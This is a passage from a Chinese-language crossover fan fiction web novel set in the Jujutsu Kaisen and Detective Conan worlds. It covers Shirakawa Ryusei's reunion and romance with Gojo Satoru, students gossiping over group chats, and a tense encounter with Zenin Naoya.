千锤百炼的剑士的手臂一动不动,稳稳托举。那张色素浅淡的,无死角美丽的脸,在他掌心沉睡着,呼吸的热意喷洒在腕骨上。 完全依赖地,把重量放心地交给他。 …… 睡了一会,五条悟很快就清醒过来,坐起来伸了个懒腰,“琉世,就这麽看着别人睡觉,好阴暗啊。” “你用阴暗形容我的次数也太多了吧!”白川琉世伸出手指指向自己,“开始精神操控你的男友了?” “你才是一确定关系就撕下伪装的心机男吧?” “……哈特碎了。” 五条悟摸到手机发了几个消息,两人又谈起了正事,大概因为都满足了,这下没有莫名窜出来的情愫打断交谈。 既然想瞒着悟的那些“记忆”,还是被他知道了不少,白川琉世就全部坦诚了,也一并说了自己的能力和在平安京做的那些事。 最上放出的真假消息,他也一一为悟辨伪。那些垃圾记忆,如果悟从来没机会知道,肯定是要继续瞒着的,但恋人意外知道了,坚持不说也没有意义。 不过,悟在无法辨别最上塞的那些垃圾记忆的真假时,依然兢兢业业地坚持18岁时候的理念。 也没有学别人时髦地叛逃一下。 知道那些并不更好一点的“真实”记忆时,也只是平静地眨了眨眼,嗤笑一声。 “那种事情是不可能发生的。” “我完全赞同,悟,唯一重要的就是不要让那些东西影响你的心情。” “什麽?你不说我都要忘光了。” “我就知道你会这麽回答。” “你那种表情,又开始为我着迷了吗?” 白川琉世点点头,“对啊,每天至少着迷一次。” 这麽说完,然后被悟称赞厚脸皮,真是令白川琉世愿意每天都重复的幸福人生。 “琉世。” “嗯?” 五条悟低头翻着手机消息,看到一个许久不联系的人,少见地主动发来消息,动作停顿了一下。 “你做的其他事我都能理解,但耗费那麽多心力,想要保留杰的性命,如果是之前的你还有可能,现在你有这麽好心吗?” “这句话听的人好心痛啊。”白川琉世又捂住心口,“我现在依旧是善良热血虽然并非男高了,就是善良的迂回了一点。” “不,仔细想想,换成之前的你,在杰真的打算对你下死手之后,也不会那麽在乎他的生命。”五条悟冷酷地揭穿恋人的装模作样。 白川琉世尬笑几声,“他连这种细节都对你说了,你们聊的还挺多的,他那黑化到底算不算数啊?” “蒙混过关?” “谁说的,你那麽聪明,我什麽能瞒得过你。” …… 因为那是悟你的挚友啊。 如果不想方设法保留夏油的性命,在他回来之前,不管是总监部还是羂索,只要想杀夏油,还能叫谁出手呢? 难道安排给九十九由基吗? 什麽脏活累活都交给五条悟,总监部想杀夏油,肯定让悟出手,羂索想杀夏油,也会设计让悟出手,真是了不起啊那群王八蛋。 不用把话说清楚,白川琉世知道五条悟能理解他的意思,悟就是这麽敏锐又聪明的一个人。 “伊地知现在确实是我的辅助监督。”五条悟忽然换了个换题,“他真是弱的可以,去做咒术师马上就会被咒灵啃了,我让他赶快去考了个驾照,给我开车就好了。” “伊地知啊。”白川琉世自然而然流露出的怀念的表情。说起来,和伊地知同学的那几个月,也是他青春的一部分。 不仅如此,所占的比重还挺大呢。 因为是一个班级的同学,每天勾肩搭背上课下课,一起逛街,去自动贩售机买对方喝的饮料,然后自然而然记住对方的喜好,喜欢吃的东西,喜欢做的事,抄对方的作业,嗯,这点是他单方面抄伊地知的,就这麽度过三年的校园生活,对方的身影组成了日常生活里的点滴,那他和伊地知也一定会成为挚友吧。 将心比心,夏油杰也组成了五条悟青春的一部分。 夏油的人生会是什麽走向?现在的白川琉世也不清楚了。可以肯定的是,如果夏油继续那麽下去,总有一天会和他们走上对立面。 到了那时候,就算不用亲手杀死夏油,悟也会失去曾经的挚友。 还是会伤心吧。 “夺走别人的青春,这种事真是不可饶恕。”五条悟意指羂索。 “我的青春还没过去,还谈到了甜甜的恋爱呢。”白川琉世做出“刚满十八岁”的口型,被五条悟用枕头蒙住脸。 “冷酷的家夥,心机男,之前吃醋也是装的吧?” “那是因为明明有那麽帅气的脸让你看,你还看手机。” “你之前不也一样,准备了那麽有创意的惊喜,还能忍住不看我的脸吗?竟敢不好奇我是什麽表情。” “啊,那次是…”白川琉世想起自己给乙骨发消息保密那次,忽然卡壳了。 惊喜送到对方面前的一瞬间最有意义,背后怎麽谋划的暴露了很没意思,不如说由自己来解释很没意思,他自然就哑火了。 [还不是感动到要哭了。]只敢心里默默吐槽。 “杰给我留言了,昨天下午的消息。”五条悟看着翻开的那条消息,那是今早起来才看到的。昨天和琉世从中午闹到淩晨,后来就睡着了,一直没来得及看手机。 “你自己的挚友自己管。”白川琉世决定在夏油这件事上,完全尊重五条悟的选择,“只是有一点,如果真的到了不得不动手的时候……” 他语气平淡。 “由我来动手。” …… 温泉旅馆的积雪,比森林里要薄一点。小兰牵着柯南的手,沿着庭院往餐厅走去。 咯吱,咯吱,园子刻意去踩没有脚印的雪,“小兰,这里还挺不错的嘛,我们明年再来一次吧。” 小兰文雅地笑着,“如果能再中奖的话。” “每年都中奖是不太可能啦,不过也无所谓,明年会有更好玩的地方。”开朗的女子高中生一把把柯南提溜起来,“柯南今天是怎麽了,黑眼圈这麽重?” “是啊,是感冒了吗?”小兰担心地摸摸柯南的额头。 “都说了不要偷溜出去,害小兰那麽担心。”园子推开餐厅的门,发出和昨天相同的尖叫,“啊!五条先生!” 今天不止有那位神秘的咒术师五条悟,还有一个背对着他坐着的陌生人。 那个人转头,柯南看到那人冷酷的脸,以及在战斗中锤炼出来的压迫感。 错不了。 他微笑着扯了扯小兰,“小兰姐姐,这不是前几天我们在银座咖啡馆遇到的哥哥吗?” 白川琉世一阵眩晕。 前几天?他说前几天? 前几天他还在平安京,顶多去了躺仙台,上哪去的银 座? 哈,十年归来,他白川琉世长了差不多两岁,这位小学生一岁没涨是吧。 不仅如此,还对他的长发和斑纹视而不见,这是什麽恐怖的自欺欺人能力啊。 过于无语的情绪让他想要开口,但是开口之前,在黄泉津比良坂之外的某个世界,产生了微微的震动感。 啊,那小家夥所在世界的意识着急了。 不说,不说行了吧?他敷衍地这麽想着,震动感就平息了。 真是神奇的世界,按理说主线是侦探故事,逻辑应该要严谨,那乱七八糟的时间线是怎麽回事。 不过……,他看到对方和所有人都不一样,冒着鬼火一样的黑色灵魂,沉默了。 说他是死神真不冤啊,那大把的死者不会都是他克死的吧? “柯南啊,”白川琉世把手放在他头顶压了压,“怎麽一点没长高啊?” 怎麽十年都没长高啊? 第58章 唯一保留的小狗属性是嗅觉 餐厅里没有能容纳五个人的桌子,因此新来的三人只是站着寒暄。双方互相介绍,五条悟玩笑般夹着嗓子,甜腻腻地说,“我们是恋人哦。” 说完,伸出手指,隔空轻轻点了一下白川琉世,“对吧?” 哈,是热恋期还不想收敛的悟。 白川琉世当然只管点头,他听到两个女子高中生一起发出齐整的“诶?” 园子捧着脸颊,“什麽什麽?五条先生竟然——。”她在两人身上扫视,眼神兴奋地放光,得不到的帅哥和另一个帅哥在一起了,园子的脑子快速计算出得失。 这岂不是说帅哥绑定,能看到双倍的帅哥了? “那可真是太好了!” 园子和悟快乐地击了一掌。 “诶?没有碰到。”园子看了眼自己的手掌,刚刚好像打到一层坚硬的空气上了。 “是那个。”五条悟神秘地把食指竖起,抵在嘴唇上。 “啊,是那个!”园子明白了那是咒术师的能力。 所以是哪个。柯南嘴角抽搐,把自己的脑袋从白川琉世的手中解救出来。 “和琉世哥哥瞬间移动的能力一样类型的能力吗?” 白川琉世同样嘴角抽搐,无论如何也不能把吃错药的高中生当做真正的小孩。 “没错,这个世界不是只有科学的,那个东西叫做咒灵。” 倒是很直截了当地说出口了。 “咒灵?那天晚上那里果然有东西。” 咖啡馆那次,柯南就对“有某种异能力人群存在”这件事推理的差不多了,只是对自己为什麽看不到那些东西感到好奇。 那天晚上也是,不过,事情并不是需要处理的案件,在场也没有哪个人遭遇危险,相反,那个咖啡馆怪人和园子的故人似乎很需要私人间的谈话。 他就顺水推舟假装相信了乙骨的解释,先行回避了。 白川琉世沉默了一下,“……这都看不见?你的世界观也太科学了。” 这次和上次不同,特级咒灵的压迫感,足以使靠近的普通人短暂地看到咒灵。 这都看不到,作为另一个世界的主要人物,柯南身上的法则太强了。 “在这里呢。”五条悟从小兰肩膀上提起一个虚弱的蝇头,在三人面前甩了甩去,“柯南,小兰最近压力很大,不会是因为你吧?” 柯南:! 他只能看到五条悟手掌虚握,晃来晃去,对方似乎真的抓到了什麽,但他依旧什麽也看不到。 “别逗他了,悟。”虽然这麽说着,白川琉世也毫不在意柯南心情地笑了起来。 平成年代的福尔摩斯:…… 真无语。 …… 所谓世界意识,也有其运行的规则。 距离近但不相交的那些世界,会影响周围的世界产生“承载者”。在与他们毫不相关的世界中,或许悟的故事被画成了漫画也说不定。 但相交叉的世界,是绝不会拥有彼此的承载者的。 柯南所在的世界与悟所在的世界相交,二者能互相接触,同属于一个真实世界,两个世界的非主线人物也同处于一个真实世界。 总不能出现承载者,一时灵感爆棚写了部小说,有天惊讶地发现小说里的人物、设置,在现实里完全找得到原型。 还好某个大洋彼岸的国家没有哥谭市,否则都能去阿卡姆喜提快速疗愈套餐了。 因此最上产生了轻微的交叉世界承载者情况,才如此令人惊讶。 他把这些情况告诉了悟,原本世界意识应当会本能地阻止他开口,但他和悟所在的世界,那片意识莫名地一直没有反应。 两人走在高专的林荫道上,再往前几步,就是类似于“山门”的阔地,当初姐妹校交流会的擂台就在这,每走一步,眼前现出的景色都让白川琉世感到怀念。 五条悟依旧有随时吃棒棒糖的习惯,拆开一颗糖放进嘴里。 “因为你改变了太多主线,它死掉了?” 白川琉世:“死掉这个词我喜欢。不过,具体怎样我也不清楚,没有先例可以参考。” 五条悟:“如果向柯南和园子暴露他们世界混乱的时间线,是不是也会造成类似的后果?” 被白川琉世特意提示后,五条悟才发现,关于十年前的铃木园子的记忆,竟然有对方高中生的样子,但仔细想想,脑海中也有零星的对方从小到大年龄变化的记忆。 那是园子世界的意识在主动影响周围的人,合理化周围人面对不符合逻辑现象的记忆。 连这种事都能做到…… 白川琉世:“没必要去尝试,一定会发生很麻烦的事。不过,忙完最近的事,我要去找趟最上。” 五条悟:“找他也没什麽用吧。” “当时便宜他了。”白川琉世露出森寒的笑意,“他的罪孽十年前就作下了,竟然拿那种垃圾污染你的大脑。” “你那是什麽表情,也黑化了?” 白川琉世马上露出标准阳光爽朗型笑容,“怎麽会呢。” “最上对我来说无所谓。”五条悟露出毫不放在心上的,有些嘲意的笑容,“琉世也懂吧,知不知道这些对我没影响。” 五条悟都能把整个咒术界背负在肩上了,怎麽可能随便动摇。 “当然了,悟。”没有人比白川琉世更了解这一点。 “你那种默默付出不告诉所有人的毛病是不是又犯了,心里肯定盘算着教训最上一顿,然后永远不告诉我吧?” “你在说什麽啊悟,当初偷偷花钱让我升级的是谁?”白川琉世想起那件事,心中就泛起温柔的涟漪,“我就说嘛,归根结底还是四级咒术师最有潜力。” “不止,当初总监部坚决不撤销你的通缉,你现在的身份还是诅咒师。”五条悟忍不住笑出声,“所以当时我没有骗忧太。” “四级诅咒师?这是什麽幽默人生啊!” 高专的新年假期还没结束,空寂的校园里没有人,这里和十年前毫无区别,连自动贩售机里的饮料种类也没变,身旁的恋人恍惚还是18岁的面容。 作为白川琉世的时间停在了过去。 他不仅被认定为诅咒师,还因为失踪十年被注销了学籍,意思是他现在是个无学历无业还没钱的社会闲散人士。 坏了这问题很大。 总不能对五条悟的家人说,我是神,就算什麽也没有,也请你把儿子交给我吧。 现在去考个东大还来得及吗? 如果能考当然考得上,他脑子聪明不是开玩笑的,以前因为稀血没办法上普通学校,这下连高专都给他开除了。 之前还打算高专毕业后考个计算机系,那个年代好像很时髦,到时候想办法在家自修,也能毕业。 此一时彼一时,就算能报考,悟今年都28岁了,哪里能等他再上个大学回来啊,更别说还有后续的工作,职业总不能到处说我是神吧。 作为人类生存还真是麻烦啊,白川琉世泛起一阵甜蜜的烦恼。 先搞定工作的问题吧。 站在自动贩售机前,他掏出几枚硬币。 “你要喝什麽,可乐吗?” 五条悟同样弯腰凑近自动贩售机,似乎在考虑要喝什麽,最终点点头,“可乐吧。” 两人的脸离得很近,空气中若有若无的青苹果味浓郁起来,甜腻又清新,是五条悟口中棒棒糖的气味。 黑发的青年放缓呼吸。 “又在好奇我的棒棒糖是什麽味道吗?”依旧嘶哑的嗓音多了份性感,白发恋人把棒棒糖拿在手上,“琉世唯一保留的小狗属性,竟然是嗅觉。” “是啊,非常好奇,让我尝尝吧。”白川琉世抓住那只拿棒棒糖的手腕,半强硬地控制方向,让恋人把棒棒糖塞进自己嘴里。 五条悟故作惊讶地大叫起来,“诶?恶心恶心恶心恶心恶心!” “你在装模作样什麽啊,明明半推半就。”白川琉世狠狠咬碎糖块,嚼嚼嚼,“这不会是之前我买的那些吧?十年还没吃完?” 这个牌子的棒棒糖白川琉世印象深刻,刚来高专的第一天,他就躺在家入硝子的治疗室里,吃光了五条悟遗落在那的一整袋糖。 吃的口腔上颚都破皮了,舌尖一抵难免酸麻疼痛。 为了赔罪,又买了整整一书包的同款棒棒糖赔给五条悟。 “你买的那些也就够我消耗三个月。” “这麽喜欢,下次再给你买。” “那要记得买哦。” 无可避免地想起以前的事,白川琉世眼中划过怀念的笑意。 两罐可乐哐啷从机器中掉出来,被两只修长的手拿走。上午阳光的暖意驱散早晨的寒冷,时间不早了,五条悟的电话响了起来,伊地知已经在高专门口等他了,咒术界的最强不得不开始一天的任务。 没开学的时候,五条悟整个白天都会做任务,开了学,就是白天带学生,晚上做任务,抽空处理家里的事,和总监部的人扯皮,大半夜还要做文书工作。 白川琉世火气止不住的往上窜,高专的时候悟每天只有五个小时的睡眠时间,已经很让人震惊了,现在直接压缩到三个小时。 “把你的新号码给我。”五条悟打开手机,存下白川琉世的电话号码,之后又加了line的联系方式。打开好友管理界面时,他愣了一下,“忘记回加虎杖了。” 白川琉世弯起眼睛,用和高专时期差不多的口吻说,“最近忙的话,放养虎杖也无所谓。我在他和伏黑、乙骨身上下了刻印,他们只要大喊一声‘琉世先生,请帮帮我’,就什麽也不用担心了。” 那当然是开玩笑的,不过刻印里面的结界,能准确地反应被刻印人的咒力波动、心跳速率和情绪,只要白川琉世判定对方有危险,就能马上到达那里。 这下五条悟也不得不称赞他一下。 “琉世,办事这麽可靠,你果然有做辅助监督的天赋。” “那就免了吧。”白川琉世依旧一副笑嘻嘻的样子,“我看伊地知做的挺好的。” 气氛倒是很清爽,没有什麽恋恋不舍的黏糊氛围,因为两人确定很快就能再见面。“一会你要做什麽?”五条悟这麽问道,恋人说要先去办一些琐事,他点点头,忽然看向教学楼和宿舍的方向。 “先逛逛高专也没关系,现在学校里没人。” “我也是这麽想的。” “一会记得给我发消息,琉世。” “当然了,你也不要忘记给我发消息。” 他微笑着目送恋人走向高专门口,高挑的身影因为年长了些的原因,没有少年时的雀跃,但依旧步履轻松。白川琉世的脑海中自然浮现出五条悟的面容,明净的眼眸流露出自信的神采,嚣张地笑着,对他说,“这些都轻轻松松。” 对偶尔回头望向他的恋人回以招手,直到五条悟的身影消失,白川琉世才蓦然沉下脸。 2号1天1夜,3号整个白天以及半个夜晚,悟都没有休息,昨晚大概夜里两点才睡着,7点钟就醒了。 而且,消耗了比平时更多的精力,情绪的大起大落也会让人更疲惫。 昨天他太过得意忘形,没有顾及到悟的情况,这点需要严重检讨。不过,咒术界仗着悟性格好,不把人当人使唤的行为当然不能姑息。 青年扯出一抹冷笑。 不可能说让悟只管休息,其他的都放一下这种任性的话,同样,口头上的安慰也显得没用且可笑。 当然是得做点实质性的事,直接把问题解决掉。 [白川琉世,现在的你,不能依旧只会斩断有形之物啊。] 第59章 告白的售后,有点心机又何妨? 今天当下小狗也没关系,这是白川琉世走进宿舍时的想法。 …… 男生宿舍三楼的第三个房间,依然挂着他的姓氏牌子,旁边依次是熊猫、狗卷和乙骨。 白川琉世讶然,没想到都十年了,高专还保留着他的房间,其他人似乎没有这样的特例。 夜蛾老师这麽情深义重? 拧了下把手,门上锁了,他沉默了一下,稍微用力,锁头咔嚓崩裂,轻薄的木门吱呀打开。 “……嗯?” 里面并没有像紫藤花屋一样布满灰尘,让人难以呼吸,相反,窗户虽然关着,但空气十分洁净,似乎有人定时清理。 白川琉世疑惑地踏进去,好久没来过这个房间,第一眼没看出什麽异常,多看几眼却发现了很多不对的地方。 桌子上的水杯不是他的吧?那个卡通图案的瓷水杯,上面印着一个长耳朵玉桂狗。 啊,啊…? 这不是…? 快速扫视房间,一种令人心脏狂跳的猜测自然涌现。 书桌上放着一些不属于他的书籍和文书,但他自己的漫画书、课本和专业书籍也整齐地摆在一边。椅子背上挂着一件浅蓝色衬衣,那种偏商务风格的衣服他没买过。床上的床单还是原来的那张,但按一下发现底下加了厚厚的床垫。床边有两双拖鞋,一双是他自己的,黑色男士基本款凉托,一双是白色前包式棉拖。 他的生活痕迹,与另一个人完全混杂在一起了。 不仅如此,白川琉世更为仔细地回想这间屋子曾经的样子。 地上那些乱扔的漫画书都被整齐地码好,放在置物架上。衣柜里面除了他的衣服,还有一些陌生的衬衣,裤子,以及更为私密的里衬,数量都超过他自己的衣服了。 旁边的小格子里挂着两条皮带,底下有个收纳盒,里面是……内、内衣?!!! 他砰的关上柜门,似走非爬地来到床边,直挺挺摔了进去。 坏了,这种心脏又酸又麻又胀又痒,同时快乐到超标的感觉,真的让他重温十六岁的心情了。 冷静点,白川琉世,你已经是个成熟的男人了。 想点正经事,想想你作为黄泉津御命叱咤平安京的威风,想想你在悟本人面前都能超有气度,别这麽没出息的脸红了,体温给我降!快降! 如果不是斑纹早就开了,这下真的要反复开斑纹了。 [他好爱我…] 大口呼吸着冬日的寒冷空气,然而脸颊还是发烫,鼻息烫的惊人,浑身燥热难耐。白川琉世整个把自己裹进了被子里,暧昧的金盏花香气十分微弱,隐隐约约萦绕在枕间,被子里有悟的气味,枕上还留有一根银白色的发丝。 冷静…… 冷静?冷静什麽?还能怎麽冷静,从三楼跳下去冷静吗? 怎麽这麽没出息?昨晚到了那种程度也没这麽失态吧。 说到昨晚…,被曾经悟盖着的被子包裹着,好像依旧与悟相拥一样。 流淌的夜色中,如同反射月光的雪一样,亮如银缎的肌肤。 随着潮涨潮落沉沦的美丽眼睛,剔透、迷离,摄人心魄。 从未对他人展示过的,失态的嗓音与眼神。 …… 悟的思念到了如此的程度吗? 正因为没有什麽时候,能比此时更深刻地察觉到这点,白川琉世才会比昨天晚上还要失态。 说起来,这到底算是悟曾经私自使用他的房间,还是他现在私自使用悟的房间? 手在枕边摸到一个东西,他拿起来一看,是一支唇膏。 散发出淡淡的金盏花味。 嘴里尚且残留的青苹果味,甜腻,微苦,白川琉世打开唇膏盖子,旋出膏体。 上面有被使用过的磨损痕迹,看起来没用过几次,膏体还很多。 [冷静。] [唇膏不能吃。] [白川琉世,你要冷静,唇膏不能吃。] 口中异常干渴,青年长发散乱在脸颊,闭上眼睛,凑近唇膏。 深深地、深深地吸气。 …… [我简直不敢相信自己的眼睛!] 乙骨忧太刚把手机从充电在线拔下来,屏幕就弹出来了这句话。 嗯?这是怎麽了? 昨天五条老师不知道和白川先生去哪里了,接他们的辅助监督等了好久,也不见人回来,还好差不多中午的时候,收到了回信,五条老师让他和辅助监督先回去。 路程实在太远了,乙骨在车上待了十几个小时,直到4号早上才回到自己在东京的“家。” 现在学校已经放假了,不方便再住在宿舍,家里也因为某些原因,他一直没回去,只好又住在了入学前一直住着的出租屋里。 只有一室一厅的破旧公寓,狭小逼仄,却刚好符合乙骨的喜好。 在车上睡了挺久,他并不算困。乙骨打开line,出乎意料发现好多人给他发消息,熊猫、狗卷、真希和星绮罗罗学长都给他发了消息。? 乙骨摸不着头脑,恭贺新年的消息大家已经发过了,这是出什麽事了吗?他率先点进刚刚给他发消息的熊猫头像。 [熊猫:这是怎麽回事啊?] [熊猫:悟交男朋友了!!!] [熊猫:你们出去一趟发生了什麽???快告诉我] [乙骨忧太:太好了,真为五条老师高兴。] 那边三秒之内就发来了一条消息,乙骨仿佛看见熊猫巨大的爪子在小小的手机屏幕上哒哒哒狂按的样子。 [熊猫:你果然知道什麽,你都不好奇!下一条消息我就要知道为什麽!] [熊猫:这个男人是谁?] [熊猫:图片] 乙骨点开图片,那是张社交平台的截图,照片几乎占据了屏幕里的所有空间。几乎是看清画面的一瞬间,他的心就停跳一拍,视线情不自禁错开。 ……震慑感太强了。 上次出于礼貌,没有仔细打量白川先生的脸,而且白川先生对他非常温和,乙骨并不害怕他。 但是照片里的人,本身长相就冷酷,又微微皱着眉,是思虑着什麽的神情。拍照的角度很低,算是仰拍,显得那人眼神自然垂下,有种习惯性俯视别人的感觉。 乙骨眼神下移,看到图下配文。 [男朋友,超帅的(墨镜笑)] 是五条老师发布的社交消息,时间就在十五分钟前。 真是太好了!白川先生成功了! 乙骨也露出了幸福的微笑。 他打字想从头开始好好解释这件事,可能是“对方正在输入”的时间太长,熊猫没有耐心等待,刷刷刷发出了好多消息。 [熊猫:悟被坏男人骗走了!!!] [熊猫:是跟你一起出去才发生了这种事!] [熊猫:你就这麽眼睁睁地看着?然后来一句真是太好了???] 乙骨少见地一股火冒出来,把仔细斟酌打出来的东西全部删掉。 [乙骨忧太:白川先生是真心的!] [乙骨忧太:太失礼了熊猫同学!!] [乙骨忧太:他们可是纯爱啊!!!] 接下来他和熊猫在问号和感叹号的海洋里吵了几分钟,乙骨冷静下来,觉得自己刚刚太激动了,给熊猫道了歉。不过,他不再理会熊猫的追问,马上打开和白川琉世的聊天框。 白川先生的每一句话都截图,然后,乙骨用比写任务报告还郑重的心态,下载了拼接软件,把聊天记录按照顺序拼成长图,还选了粉色边框修饰。 既然白川先生已经告白成功,他就不用保密了。 打开五条老师的聊天框,连带着白川先生那个帖子的链接,一起发送! 乙骨忧太,你今天做了很有意义的一件事! 随后乙骨点进其他新消息,无一例外,全都是问这件事的。 事实上就连乙骨自己的不太清楚具体情况,只好先敷衍大家一下。他一开始不是没想过这件事的奇怪之处,但灵魂深处莫名有种雷达一直在响。 他的本能告诉他,白川先生对五条老师绝对没有恶意。 乙骨只看到了纯粹的爱。 没过多久,五条悟的回复到了,乙骨点开,心痛地“啊?”了一声。 想象中感动的场面没有出现。 [五条悟:心机男!] [五条悟:果然是心机男,现在完全变成心机男了。] 乙骨的心灵因为三个明晃晃的“心机男”而刺痛。 真是失礼啊五条老师! 马上,第四个心机男也随之痛击他的瞳孔。 [五条悟:就连告白都设计我可爱的学生来售后,心机男,好阴暗啊。] [乙骨忧太:不是的五条老师!这是我自己想发给你的,其实白川先生的意思是叫我保密的。] [乙骨忧太:就算真的是你说的那样,恋爱的事,有点心机又何妨?] …… “噗。” 看到学生这麽着急,五条悟发出一个猫猫大笑表情包过去。 还是忧太和惠逗起来最好玩了。 不过,说琉世是心机男真的没冤枉他,连告白都有这种完美的售后。 他看向那段在单句中尤为突出的一大段话。 “嘁,真是疯掉了,琉世。” 刚刚祓除了一个咒灵,五条悟苍蓝的眼睛漾出温柔的笑意,他回头看了消散的帐一眼,拉上眼罩。 因为有那种记忆,琉世和忧太加上好友的时候,就知道了忧太的身份。 琉世了解忧太的性格,知道最后忧太一定会把这件事告诉他。 什麽时候手段这麽高超了,白川琉世。 叮—— 提示音响起,五条悟重新打开line。 [琉世:图片] [琉世:找到你的唇膏了,悟。] 图片很糊,想必是用十年前的老年机拍的,一支小小的唇膏躺在一只大手手心上,再远一点的背景是宿舍的部分书桌和衣柜。 [悟:没对我的唇膏做奇怪的事吧?] [琉世:怎麽可能呢,你在想什麽?] 躺在床上,白川琉世耐心地等待着,然而,五条悟丝毫不提十年来,自己时不时住在男友学生时代的单人宿舍这回事。 哈,不动声色地引诱,老手段了,五条悟。 第60章 身价高达20万 1月4日15:53,原宿,漫画吃茶店。 鼠标滚轮轻轻划过,计算机冷白的屏幕光打在青年脸上。 这十年来网络果然发达多了,白川琉世点进悟发给他的链接,里面是咒术界的官方网站,由总监部运营,功能很少,页面布局极其老旧,放到十年前都能说一句落伍。 一旁的手机上,乙骨刷刷发来几条信息,他余光瞥了一眼,没仔细看,往网站新闻一栏看去,在搜索栏输入“盘星教”。 [……盘星教近期频繁集会,在其内部的一些秘密交流中,虽未明确表明意图,但似乎对天元大人持以极端看法。 盘星教近年来对天元大人“不纯洁”的不满达到顶点,集会中多次提到“要天元再次伟大”口号……尽管尚未有确凿证据表明盘星教已着手实施针对天元大人的伤害计划,但他们的这些危险言论已经引起了总监部的高度关注。] 白川琉世没忍住,笑出了声。 羂索这几年真是累得不轻。 他笑着看向乙骨的消息,等辨认清楚那几行字,笑容一下子凝固了。 [乙骨忧太:白川先生,通缉令里面的这个人就是你吧?] [乙骨忧太:图片] [乙骨忧太:是怎麽回事呢?大家其实都很担心……] 何止是担心啊,从早晨开始,乙骨忧太躲在出租屋里,手机快被人打爆了。 里香,救命…… 乙骨甚至没有勇气再拿起手机看一眼。 眼尖的熊猫同学在诅咒师通缉网站上找到了白川先生的通缉令,没想到他还真是诅咒师!这点让高专的学生炸锅了,倒不是担心五条老师的人身安全,主要是想凑热闹。 群聊里疯狂地冒出来消息,真不知道熊猫的爪子打字为什麽这麽快。 [熊猫:图片。] [熊猫:通缉令上的人就是他!那个我隔壁宿舍的主人肯定也是他!] [熊猫:独家消息,正道说过,那间宿舍是悟强烈要求保留的,现在还每年多交着一份住宿费呢。] [熊猫:而且!悟每隔一段时都会在里面过夜!] [星绮罗罗:什麽?!什麽嘛,这麽浪漫?@秤金次] [星绮罗罗:那到底是个什麽人?] [真希:四级诅咒师?这麽弱为什麽跑去做诅咒师?] [狗卷棘:会不会和真希的情况一样,有特殊原因才没升级的。] [狗卷棘:他看起来很强啊。] [秤金次:这种无聊的事不要@我] [狗卷棘:五条老师意外对他情根深种,这太反常了。] [狗卷棘:根本不像五条老师的风格。] [熊猫:我猜,那就是悟年轻时候的恋人,有一天,那个男人残忍地背叛了悟,悟因为旧情难忘无法痛下杀手,现在,这个男人又接着回来骗悟的感情了。] [狗卷棘:有这个可能!] [乙骨忧太:根本不对!!!] [熊猫:那你说是怎麽回事?@乙骨忧太] [星绮罗罗:快说嘛,乙骨,只有你最知道真相吧?@乙骨忧太] [狗卷棘:@乙骨忧太@乙骨忧太@乙骨忧太] 就连真希同学和秤学长也跟风一样@了他…… 乙骨忧太痛苦地把手机扔到一边。 那间宿舍肯定是白川先生的,除此之外,连熊猫在内的高专学生们,就不知道更多了。 乙骨叹了口气,选择把熊猫发的那张通缉图片转发给白川先生。 …… 白川琉世的沉默震耳欲聋。 被通缉这种事他早就知道了,作为四级诅咒师被通缉也早有心理准备。通缉令上的照片还是他上高专入学时拍的证件照,他平时不笑的时候,显得格外严肃,这张脸和这种表情挂在通缉令上倒也不违和。 只有白川琉世本人才能看出来,曾经的自己眼中多少有点清澈的愚蠢。 这都不是重点。 那个赏金20万是怎麽回事? ……笑不出来。 他只值20万?总监部,劳烦回答一下呢? 之前和家入喝酒,一次就能喝掉20万,悟平常穿的衬衫一件也有20万,而20万如今是他的全部身价。 16岁的白川琉世身无分文也依旧快乐,18岁的白川琉世要考虑的就多了。 虽然把这个世界改造成搞笑漫画未尝不可,但搞笑的不可以是这种地方。 啧,真麻烦啊。 这里的单间并不算太小,除了桌子、计算机和椅子,还有张双人沙发。门外的走廊由远及近传来明显的脚步声,白川琉世走到双人沙发上坐下,大脑短暂地放空了一下。 那两个咒灵差不多打了两天宿傩了,是这时候放出来,还是让他们再过过瘾? 看情况,看看一会需不需要…… 哗啦—— 门被拉开了。 啊,看来是需要了。 来着颇有些气势汹汹地拉开门,也不知道哪里来的底气,一张刻薄的脸比任何部位都先闯进白川琉世的视线。 黑色短发,打着耳钉,立领衬衫外面还穿着宽大的和服。 白川琉世盯着那件立领衬衫,莫名走了下神,悟倒是没穿过这种立领的,不过以他们两个的身家,价位应该都差不多。 “怎麽像个丧家之犬一样躲到这里来了?悟君玩腻你了,把你抛弃了?” “这不是禅院歹笋吗?”白川琉世温和地笑了一下,把脸一沉,“门也不知道敲,你们禅院家真是一代不如一代了。” 果不其然,比起高专时期也没长高几公分的禅院直哉,只要听到白川琉世哪怕说一句话,都会气到红温。 还有,白川琉世那种高高在上的口气到底是怎麽回事? 出生在那种家族的禅院直哉,察言观色的能力比什麽都强,初次交锋落在下风,他谨慎地观察起了对方。 悟君交了男朋友的消息,目前在御三家和咒术界小范围传开了,毕竟那是万众瞩目的五条家家主兼咒术界最强,一举一动都格外引人注目。早在今天早上,就有人拿着不知道被传到多少人手中的截图给他看。 社交平台官宣,还出柜,这确实是五条悟能做出来的事,也只有五条悟有这个资本敢这麽做。 换成他禅院直哉,早就被从继承人的位置上赶下去了。但是,谁让整个五条家都是以五条悟为内核的呢? 嘁,就是眼光一直没变过,还死吊在一棵树上。 今天说来也巧,正好有禅院家的人在原宿做任务 ,让禅院直哉搞到了他的踪迹。 本来以禅院直哉对琉世的理解,这家夥不会杀人,但目前看来…… 那双金色的眼睛,眼神中“不悦”的意味,没有之前因为道德水准高,透漏出的明显克制感,而是直截了当的压迫。 了解自己的强大,并且毫不留情地利用强大达成自己的目的。 这种转变…… 杀过人。 白川琉世肯定杀过人。 本能的危机感让他捕捉到这个信息,禅院直哉最大的依仗——白川琉世不会杀人,已经完全消失了。 他丝滑地改变了态度。 “琉世,咱们从小就认识了,多年不见,也不至于这麽生分吧?” 他打量了平时绝对不会驻足的平民网吧,不过,就算放软态度,被阴阳怪气腌入味的语调也显得有点别扭,“看来你遇到了什麽困难,有什麽事,难道不能和我说吗?” “嗯?早这麽识相不就好了,不然也不会被女人从背后捅死,变成蛆型咒灵,最后还是被你最看不起的女人杀死,真是精彩的一生啊,直哉。” 禅院直哉:!!! 什麽时候琉世说话能刻薄到这种程度了? 愤怒的薄红染上他的脸颊。啧,忍,一定要忍住,否则可能真的会被杀死。 有点后悔自己干嘛这麽着急跑过来试探。 白川琉世嗤笑出声,禅院直哉除了头发重新变成黑色,和以前相比也没什麽变化,还是那个脑子进水的禅院家嫡(重音)子。 